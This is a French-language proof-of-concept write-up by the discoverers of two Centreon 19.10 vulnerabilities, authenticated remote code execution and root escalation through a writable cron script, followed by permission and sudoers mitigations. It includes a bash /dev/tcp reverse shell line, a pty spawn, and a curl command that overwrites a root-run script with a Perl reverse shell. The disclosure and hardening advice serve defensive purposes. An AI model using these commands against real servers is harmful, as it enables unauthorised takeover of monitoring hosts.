
Centreon =<19.10 RCE authentifiée
Preuve de concept
Découvert par :
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Exécution de code à distance authentifiée :
Commençons par nous connecter en tant qu'utilisateur Admin au panneau web de Centreon.
Après nous être connectés, nous naviguons vers Configuration > Commands > Miscellaneous
Poursuivez en cliquant sur Add comme indiqué dans l'image ci-dessous.
Nous créons maintenant un reverse shell bash comme commande Miscellaneous.
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
Et cliquez sur Save
Maintenant, nous naviguons vers Configuration > Pollers et cliquons sur notre poller Central
Cela nous donne accès au menu Modify a poller Configuration
Ici, nous pouvons faire défiler vers le bas et définir une Post-restart command
Poursuivez en sélectionnant le reverse shell créé précédemment, puis cliquez sur le bouton Save
Nous pouvons maintenant lancer le listener Netcat sur notre machine locale
Enfin, nous cliquons sur le bouton Export configuration dans le menu Configuration > Pollers
Sélectionnez notre poller Central dans la liste déroulante Pollers
Décochez les cases Generate Configuration Files et Run monitoring engine debug (-v)
Cochez les cases Restart Monitoring Engine et Post generation command
Sélectionnez Restart dans la liste déroulante Method
En cliquant sur Export, le poller redémarrera et exécutera ainsi la Post-Restart Command configurée précédemment. C'est à ce moment que notre listener reverse shell recevra une connexion.
L'exécution de code à distance authentifiée a réussi !
(Ceci était le write-up pour CVE-2019-19699)
À partir de là, nous passons à l'obtention des droits Root
Nous utiliserons CVE-2019-16406, découvert par TheCyberGeek, pour compromettre entièrement le serveur Centreon =< 19.10.
Commençons par générer un shell TTY dans notre terminal reverse shell actuel.
python -c 'import pty; pty.spawn("/bin/sh")'
Nous examinons maintenant quelles tâches cron existent en exécutant cat /etc/cron.d/*
Nous voyons maintenant que centreon_autodisc.pl est une tâche Cron.
(A été définie de 30 22 * * * root à * * * * * root à des fins de démonstration)
Ceci est exécuté en tant que Root ; remplaçons le centreon_autodisco.pl par un reverse shell Perl.
Le shell Perl que j'utiliserai peut être téléchargé ici.
Téléchargez le reverse shell, puis modifiez l'adresse IP et le port pour utiliser les vôtres, comme expliqué sur la page web.
Effectuez un mv pour renommer localement le fichier perl-reverse-shell.pl en centreon_autodisco.pl.
Lançons un SimpleHTTPServer local sur un port de votre choix.
De cette façon, nous pouvons curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl pour remplacer le centreon_autodisco.pl existant par notre reverse shell Perl troyen.
Maintenant que le fichier a été remplacé, il ne reste plus qu'à démarrer un listener Netcat sur le port configuré précédemment, et nous recevrons une connexion du serveur en tant qu'utilisateur Root !
L'accès au système en tant que Root a réussi !
Passons maintenant aux notes sur la manière dont nous pensons que l'élévation de privilèges devrait être atténuée !
Paramètres actuels dans la version 19.10 :
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Atténuation pour /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Comme vous pouvez le voir, il appartient maintenant à Root ; le groupe apache ne peut que le lire et l'exécuter, centreon ne peut que l'exécuter, par conséquent cela n'affecte pas le fonctionnement.
Exemple :
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Mais apache peut toujours l'exécuter.
Atténuation pour /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
Comme vous pouvez le voir, il appartient maintenant à Root ; le groupe apache ne peut que le lire et l'exécuter, centreon ne peut que l'exécuter, par conséquent cela n'affecte pas le fonctionnement.
Exemple :
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Mais apache peut toujours l'exécuter.
Atténuation pour /usr/lib/centreon/plugins/cwrapper_perl
Utilisez des commandes sudo définissant les scripts spécifiques devant être exécutés par chaque utilisateur.
Faites en sorte que root soit propriétaire de chaque script perl, afin que les utilisateurs ne puissent pas modifier ou remplacer le script pour une élévation de privilèges.
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Les utilisateurs ne peuvent désormais plus modifier ou remplacer le script !
Exemple :
cat /etc/sudoers
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---Fin de sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
Les utilisateurs peuvent toujours exécuter les scripts nécessaires et les scripts ne peuvent pas être modifiés par apache ou centreon, ce qui élimine entièrement la menace de sécurité pour l'élévation de privilèges.
Si un attaquant parvenait à entrer dans la machine maintenant, prendre le contrôle total de la machine serait très difficile, voire impossible, à moins que d'autres menaces ne soient découvertes.
Pour l'utilisateur Centreon, la seule élévation de privilèges que nous avons pu trouver était le cwrapper pour perl ; ainsi, si la commande post-restart était exécutée par l'utilisateur centreon et qu'un attaquant obtenait un shell en tant qu'utilisateur centreon, il ne resterait pratiquement plus aucune surface d'attaque.
Merci d'avoir lu